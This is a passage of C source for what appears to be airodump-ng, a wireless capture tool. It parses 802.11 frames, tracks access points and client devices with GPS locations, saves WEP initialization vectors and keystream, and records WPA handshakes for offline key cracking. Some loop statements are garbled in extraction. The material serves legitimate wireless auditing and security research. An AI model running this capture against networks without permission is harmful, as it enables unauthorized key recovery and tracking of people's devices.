ap_cur->nb_dataps = 0; ap_cur->nb_data_old = 0; gettimeofday(&(ap_cur->tv), NULL); ap_cur->dict_started = 0; ap_cur->key = NULL; G.ap_end = ap_cur; ap_cur->nb_bcn = 0; ap_cur->rx_quality = 0; ap_cur->fcapt = 0; ap_cur->fmiss = 0; ap_cur->last_seq = 0; gettimeofday( &(ap_cur->ftimef), NULL); gettimeofday( &(ap_cur->ftimel), NULL); gettimeofday( &(ap_cur->ftimer), NULL); ap_cur->ssid_length = 0; ap_cur->essid_stored = 0; ap_cur->decloak_detect=G.decloak; ap_cur->is_decloak = 0; ap_cur->packets = NULL; ap_cur->marked = 0; ap_cur->marked_color = 1; ap_cur->data_root = NULL; ap_cur->EAP_detected = 0; memcpy(ap_cur->gps_loc_min, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_max, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } /* update the last time seen */ ap_cur->tlast = time( NULL ); /* only update power if packets comes from * the AP: either type == mgmt and SA != BSSID, * or FromDS == 1 and ToDS == 0 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) == 0 ) || ( ( h80211[1] & 3 ) == 2 ) ) { ap_cur->power_index = ( ap_cur->power_index + 1 ) % NB_PWR; ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power; ap_cur->avg_power = 0; for( i = 0, n = 0; i < NB_PWR; i++ ) { if( ap_cur->power_lvl[i] != -1 ) { ap_cur->avg_power += ap_cur->power_lvl[i]; n++; } } if( n > 0 ) { ap_cur->avg_power /= n; if( ap_cur->avg_power > ap_cur->best_power ) { ap_cur->best_power = ap_cur->avg_power; memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } } else ap_cur->avg_power = -1; /* every packet in here comes from the AP */ if(G.gps_loc[0] > ap_cur->gps_loc_max[0]) ap_cur->gps_loc_max[0] = G.gps_loc[0]; if(G.gps_loc[1] > ap_cur->gps_loc_max[1]) ap_cur->gps_loc_max[1] = G.gps_loc[1]; if(G.gps_loc[2] > ap_cur->gps_loc_max[2]) ap_cur->gps_loc_max[2] = G.gps_loc[2]; if(G.gps_loc[0] < ap_cur->gps_loc_min[0]) ap_cur->gps_loc_min[0] = G.gps_loc[0]; if(G.gps_loc[1] < ap_cur->gps_loc_min[1]) ap_cur->gps_loc_min[1] = G.gps_loc[1]; if(G.gps_loc[2] < ap_cur->gps_loc_min[2]) ap_cur->gps_loc_min[2] = G.gps_loc[2]; // printf("seqnum: %i\n", seq); if(ap_cur->fcapt == 0 && ap_cur->fmiss == 0) gettimeofday( &(ap_cur->ftimef), NULL); if(ap_cur->last_seq != 0) ap_cur->fmiss += (seq - ap_cur->last_seq - 1); ap_cur->last_seq = seq; ap_cur->fcapt++; gettimeofday( &(ap_cur->ftimel), NULL); // if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality(); } if( h80211[0] == 0x80 ) { ap_cur->nb_bcn++; } ap_cur->nb_pkt++; /* find wpa handshake */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL && st_cur->wpa.state != 0xFF ) st_cur->wpa.state = 0; // printf("initial auth %d\n", ap_cur->wpa_state); } /* locate the station MAC in the 802.11 header */ switch( h80211[1] & 3 ) { case 0: /* if management, check that SA != BSSID */ if( memcmp( h80211 + 10, bssid, 6 ) == 0 ) goto skip_station; memcpy( stmac, h80211 + 10, 6 ); break; case 1: /* ToDS packet, must come from a client */ memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* FromDS packet, reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; } /* update our chained list of wireless stations */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(stmac); memset( st_cur, 0, sizeof( struct ST_info ) ); if( G.st_1st == NULL ) G.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); if (st_cur->manuf == NULL) { st_cur->manuf = get_manufacturer(st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]); } st_cur->prev = st_prv; st_cur->tinit = time( NULL ); st_cur->tlast = time( NULL ); st_cur->power = -1; st_cur->rate_to = -1; st_cur->rate_from = -1; st_cur->probe_index = -1; st_cur->missed = 0; st_cur->lastseq = 0; st_cur->qos_fr_ds = 0; st_cur->qos_to_ds = 0; gettimeofday( &(st_cur->ftimer), NULL); for( i = 0; i < NB_PRB; i++ ) { memset( st_cur->probes[i], 0, sizeof( st_cur->probes[i] ) ); st_cur->ssid_length[i] = 0; } G.st_end = st_cur; } if( st_cur->base == NULL || memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 ) st_cur->base = ap_cur; //update bitrate to station if( (st_cur != NULL) && ( h80211[1] & 3 ) == 2 ) st_cur->rate_to = ri->ri_rate; /* update the last time seen */ st_cur->tlast = time( NULL ); /* only update power if packets comes from the * client: either type == Mgmt and SA != BSSID, * or FromDS == 0 and ToDS == 1 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) != 0 ) || ( ( h80211[1] & 3 ) == 1 ) ) { st_cur->power = ri->ri_power; st_cur->rate_from = ri->ri_rate; if(st_cur->lastseq != 0) { msd = seq - st_cur->lastseq - 1; if(msd > 0 && msd < 1000) st_cur->missed += msd; } st_cur->lastseq = seq; } st_cur->nb_pkt++; skip_station: /* packet parsing: Probe Request */ if( h80211[0] == 0x40 && st_cur != NULL ) { p = h80211 + 24; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; for( i = 0; i < n; i++ ) if( p[2 + i] > 0 && p[2 + i] < ' ' ) goto skip_probe; /* got a valid ASCII probed ESSID, check if it's already in the ring buffer */ for( i = 0; i < NB_PRB; i++ ) if( memcmp( st_cur->probes[i], p + 2, n ) == 0 ) goto skip_probe; st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB; memset( st_cur->probes[st_cur->probe_index], 0, 256 ); memcpy( st_cur->probes[st_cur->probe_index], p + 2, n ); //twice?! st_cur->ssid_length[st_cur->probe_index] = n; for( i = 0; i < n; i++ ) { c = p[2 + i]; if( c == 0 || ( c > 126 && c < 160 ) ) c = '.'; //could also check ||(c>0 && c<32) st_cur->probes[st_cur->probe_index][i] = c; } } p += 2 + p[1]; } } skip_probe: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( !(ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) ) { if( ( h80211[34] & 0x10 ) >> 4 ) ap_cur->security |= STD_WEP|ENC_WEP; else ap_cur->security |= STD_OPN; } ap_cur->preamble = ( h80211[34] & 0x20 ) >> 5; p = h80211 + 36; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; //only update the essid length if the new length is > the old one if( p[0] == 0x00 && (ap_cur->ssid_length < p[1]) ) ap_cur->ssid_length = p[1]; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; memset( ap_cur->essid, 0, 256 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ( ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32 ) || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } /* get the maximum speed in Mb and the AP's channel */ if( p[0] == 0x01 || p[0] == 0x32 ) { if(ap_cur->max_speed < ( p[1 + p[1]] & 0x7F ) / 2) ap_cur->max_speed = ( p[1 + p[1]] & 0x7F ) / 2; } if( p[0] == 0x03 ) ap_cur->channel = p[2]; p += 2 + p[1]; } } /* packet parsing: Beacon & Probe response */ if( (h80211[0] == 0x80 || h80211[0] == 0x50) && caplen > 38) { p=h80211+36; //ignore hdr + fixed params while( p < h80211 + caplen ) { type = p[0]; length = p[1]; if(p+2+length > h80211 + caplen) { /* printf("error parsing tags! %p vs. %p (tag: %i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen), type, length, (p-h80211)); exit(1);*/ break; } if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x01\x01\x00", 6) == 0)) || (type == 0x30) ) { ap_cur->security &= ~(STD_WEP|ENC_WEP|STD_WPA); org_p = p; offset = 0; if(type == 0xDD) { //WPA defined in vendor specific tag -> WPA1 support ap_cur->security |= STD_WPA; offset = 4; } if(type == 0x30) { ap_cur->security |= STD_WPA2; offset = 0; } if(length < (18+offset)) { p += length+2; continue; } if( p+9+offset > h80211+caplen ) break; numuni = p[8+offset] + (p[9+offset]<<8); if( p+ (11+offset) + 4*numuni > h80211+caplen) break; numauth = p[(10+offset) + 4*numuni] + (p[(11+offset) + 4*numuni]<<8); p += (10+offset); if(type != 0x30) { if( p + (4*numuni) + (2+4*numauth) > h80211+caplen) break; } else { if( p + (4*numuni) + (2+4*numauth) + 2 > h80211+caplen) break; } for(i=0; isecurity |= ENC_WEP; break; case 0x02: ap_cur->security |= ENC_TKIP; break; case 0x03: ap_cur->security |= ENC_WRAP; break; case 0x04: ap_cur->security |= ENC_CCMP; break; case 0x05: ap_cur->security |= ENC_WEP104; break; default: break; } } p += 2+4*numuni; for(i=0; isecurity |= AUTH_MGT; break; case 0x02: ap_cur->security |= AUTH_PSK; break; default: break; } } p += 2+4*numauth; if( type == 0x30 ) p += 2; p = org_p + length+2; } else if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x02\x01\x01", 6) == 0))) { ap_cur->security |= STD_QOS; p += length+2; } else p += length+2; } } /* packet parsing: Authentication Response */ if( h80211[0] == 0xB0 && caplen >= 30) { if( ap_cur->security & STD_WEP ) { //successful step 2 or 4 (coming from the AP) if(memcmp(h80211+28, "\x00\x00", 2) == 0 && (h80211[26] == 0x02 || h80211[26] == 0x04)) { ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT); if(h80211[24] == 0x00) ap_cur->security |= AUTH_OPN; if(h80211[24] == 0x01) ap_cur->security |= AUTH_PSK; } } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 && caplen > 28 ) { p = h80211 + 28; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ap_cur->essid[i] < 32 || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } if(st_cur != NULL) st_cur->wpa.state = 0; } /* packet parsing: some data */ if( ( h80211[0] & 0x0C ) == 0x08 ) { /* update the channel if we didn't get any beacon */ if( ap_cur->channel == -1 ) { if(ri->ri_channel > 0 && ri->ri_channel < 167) ap_cur->channel = ri->ri_channel; else ap_cur->channel = G.channel[cardnum]; } /* check the SNAP header to see if data is encrypted */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) { z+=2; if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 1; else st_cur->qos_fr_ds = 1; } } else { if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 0; else st_cur->qos_fr_ds = 0; } } if(z==24) { if(list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0) { list_add_packet(&(ap_cur->packets), caplen, h80211); } else { ap_cur->is_decloak = 1; ap_cur->decloak_detect = 0; list_tail_free(&(ap_cur->packets)); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } if( z + 26 > caplen ) goto write_packet; if( h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03 ) { // if( ap_cur->encryption < 0 ) // ap_cur->encryption = 0; /* if ethertype == IPv4, find the LAN address */ if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 20], 4 ); if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 22], 4 ); } // else // ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5 ); if(ap_cur->security == 0 || (ap_cur->security & STD_WEP) ) { if( (h80211[1] & 0x40) != 0x40 ) { ap_cur->security |= STD_OPN; } else { if((h80211[z+3] & 0x20) == 0x20) { ap_cur->security |= STD_WPA; } else { ap_cur->security |= STD_WEP; if( (h80211[z+3] & 0xC0) != 0x00) { ap_cur->security |= ENC_WEP40; } else { ap_cur->security &= ~ENC_WEP40; ap_cur->security |= ENC_WEP; } } } } if( z + 10 > caplen ) goto write_packet; if( ap_cur->security & STD_WEP ) { /* WEP: check if we've already seen this IV */ if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) ) { /* first time seen IVs */ if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; /* datalen = caplen - (header+iv+ivs) */ dlen = caplen -z -4 -4; //original data len if(dlen > 2048) dlen = 2048; //get cleartext + len + 4(iv+idx) num_xor = known_clear(clear, &clen, weight, h80211, dlen); if(num_xor == 1) { ivs2.flags |= IVS2_XOR; ivs2.len += clen + 4; /* reveal keystream (plain^encrypted) */ for(n=0; n<(ivs2.len-4); n++) { clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF; } //clear is now the keystream } else { //do it again to get it 2 bytes higher num_xor = known_clear(clear+2, &clen, weight, h80211, dlen); ivs2.flags |= IVS2_PTW; //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16]) ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int); clear[0] = num_xor; clear[1] = clen; /* reveal keystream (plain^encrypted) */ for(o=0; obssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IV iv+idx) failed" ); return( 1 ); } ivs2.len -= 4; if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len ) { perror( "fwrite(IV keystream) failed" ); return( 1 ); } } uniqueiv_mark( ap_cur->uiv_root, &h80211[z] ); ap_cur->nb_data++; } // Record all data linked to IV to detect WEP Cloaking if( G.f_ivs == NULL && G.detect_anomaly) { // Only allocate this when seeing WEP AP if (ap_cur->data_root == NULL) ap_cur->data_root = data_init(); // Only works with full capture, not IV-only captures if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4]) == CLOAKING && ap_cur->EAP_detected == 0) { //If no EAP/EAP was detected, indicate WEP cloaking memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } } else { ap_cur->nb_data++; } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) z+=2; if( z + 26 > caplen ) goto write_packet; z += 6; //skip LLC header /* check ethertype == EAPOL */ if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 ) { ap_cur->EAP_detected = 1; z += 2; //skip ethertype if( st_cur == NULL ) goto write_packet; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > caplen ) goto write_packet; if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if ((int)pkh.len - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0) { // Ignore the packet trying to crash us. goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if ((int)pkh.len - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0) { // Ignore the packet trying to crash us. goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7) { memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); memcpy( G.wpa_bssid, ap_cur->bssid, 6 ); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ", G.wpa_bssid[0], G.wpa_bssid[1], G.wpa_bssid[2], G.wpa_bssid[3], G.wpa_bssid[4], G.wpa_bssid[5]); if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } write_packet: if(ap_cur != NULL) { if( h80211[0] == 0x80 && G.one_beacon){ if( !ap_cur->beacon_logged ) ap_cur->beacon_logged = 1; else return ( 0 ); } } if(G.record_data) { if( ( (h80211[0] & 0x0C) == 0x00 ) && ( (h80211[0] & 0xF0) == 0xB0 ) ) { /* authentication packet */ check_shared_key(h80211, caplen); } } if(ap_cur != NULL) { if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { return(1); } } /* this changes the local ap_cur, st_cur and na_cur variables and should be the last check befor the actual write */ if(caplen < 24 && caplen >= 10 && h80211[0]) { /* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/ //(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 || h80211[0] == 0xE4 || h80211[0] == 0xF4) /* use general control frame detection, as the structure is always the same: mac(s) starting at [4] */ if(h80211[0] & 0x04) { p=h80211+4; while(p <= h80211+16 && p<=h80211+caplen) { memcpy(namac, p, 6); if(memcmp(namac, NULL_MAC, 6) == 0) { p+=6; continue; } if(memcmp(namac, BROADCAST, 6) == 0) { p+=6; continue; } if(G.hide_known) { /* check AP list */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, namac, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's an AP, try next mac */ if( ap_cur != NULL ) { p+=6; continue; } /* check ST list */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, namac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a client, try next mac */ if( st_cur != NULL ) { p+=6; continue; } } /* not found in either AP list or ST list, look through NA list */ na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, namac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* update our chained list of unknown stations */ /* if it's a new mac, add it */ if( na_cur == NULL ) { if( ! ( na_cur = (struct NA_info *) malloc( sizeof( struct NA_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } memset( na_cur, 0, sizeof( struct NA_info ) ); if( G.na_1st == NULL ) G.na_1st = na_cur; else na_prv->next = na_cur; memcpy( na_cur->namac, namac, 6 ); na_cur->prev = na_prv; gettimeofday(&(na_cur->tv), NULL); na_cur->tinit = time( NULL ); na_cur->tlast = time( NULL ); na_cur->power = -1; na_cur->channel = -1; na_cur->ack = 0; na_cur->ack_old = 0; na_cur->ackps = 0; na_cur->cts = 0; na_cur->rts_r = 0; na_cur->rts_t = 0; } /* update the last time seen & power*/ na_cur->tlast = time( NULL ); na_cur->power = ri->ri_power; na_cur->channel = ri->ri_channel; switch(h80211[0] & 0xF0) { case 0xB0: if(p == h80211+4) na_cur->rts_r++; if(p == h80211+10) na_cur->rts_t++; break; case 0xC0: na_cur->cts++; break; case 0xD0: na_cur->ack++; break; default: na_cur->other++; break; } /*grab next mac (for rts frames)*/ p+=6; } } } if( G.f_cap != NULL && caplen >= 10) { pkh.caplen = pkh.len = caplen; gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = ( tv.tv_usec & ~0x1ff ) + ri->ri_power + 64; n = sizeof( pkh ); if( fwrite( &pkh, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); return( 1 ); } fflush( stdout ); n = pkh.caplen; if( fwrite( h80211, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); return( 1 ); } fflush( stdout ); } return( 0 ); } void dump_sort( void ) { time_t tt = time( NULL ); /* thanks to Arnaud Cornet :-) */ struct AP_info *new_ap_1st = NULL; struct AP_info *new_ap_end = NULL; struct ST_info *new_st_1st = NULL; struct ST_info *new_st_end = NULL; struct ST_info *st_cur, *st_min; struct AP_info *ap_cur, *ap_min; /* sort the aps by WHATEVER first */ while( G.ap_1st ) { ap_min = NULL; ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( tt - ap_cur->tlast > 20 ) ap_min = ap_cur; ap_cur = ap_cur->next; } if( ap_min == NULL ) { ap_min = ap_cur = G.ap_1st; /*#define SORT_BY_BSSID 1 #define SORT_BY_POWER 2 #define SORT_BY_BEACON 3 #define SORT_BY_DATA 4 #define SORT_BY_PRATE 6 #define SORT_BY_CHAN 7 #define SORT_BY_MBIT 8 #define SORT_BY_ENC 9 #define SORT_BY_CIPHER 10 #define SORT_BY_AUTH 11 #define SORT_BY_ESSID 12*/ while( ap_cur != NULL ) { switch (G.sort_by) { case SORT_BY_BSSID: if( memcmp(ap_cur->bssid,ap_min->bssid,6)*G.sort_inv < 0) ap_min = ap_cur; break; case SORT_BY_POWER: if( (ap_cur->avg_power - ap_min->avg_power)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_BEACON: if( (ap_cur->nb_bcn < ap_min->nb_bcn)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_DATA: if( (ap_cur->nb_data < ap_min->nb_data)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_PRATE: if( (ap_cur->nb_dataps - ap_min->nb_dataps)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CHAN: if( (ap_cur->channel - ap_min->channel)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_MBIT: if( (ap_cur->max_speed - ap_min->max_speed)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ENC: if( ((ap_cur->security&STD_FIELD) - (ap_min->security&STD_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CIPHER: if( ((ap_cur->security&ENC_FIELD) - (ap_min->security&ENC_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_AUTH: if( ((ap_cur->security&AUTH_FIELD) - (ap_min->security&AUTH_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ESSID: if( (strncasecmp((char*)ap_cur->essid, (char*)ap_min->essid, MAX_IE_ELEMENT_SIZE))*G.sort_inv < 0 ) ap_min = ap_cur; break; default: //sort by power if( ap_cur->avg_power < ap_min->avg_power) ap_min = ap_cur; break; } ap_cur = ap_cur->next; } } if( ap_min == G.ap_1st ) G.ap_1st = ap_min->next; if( ap_min == G.ap_end ) G.ap_end = ap_min->prev; if( ap_min->next ) ap_min->next->prev = ap_min->prev; if( ap_min->prev ) ap_min->prev->next = ap_min->next; if( new_ap_end ) { new_ap_end->next = ap_min; ap_min->prev = new_ap_end; new_ap_end = ap_min; new_ap_end->next = NULL; } else { new_ap_1st = new_ap_end = ap_min; ap_min->next = 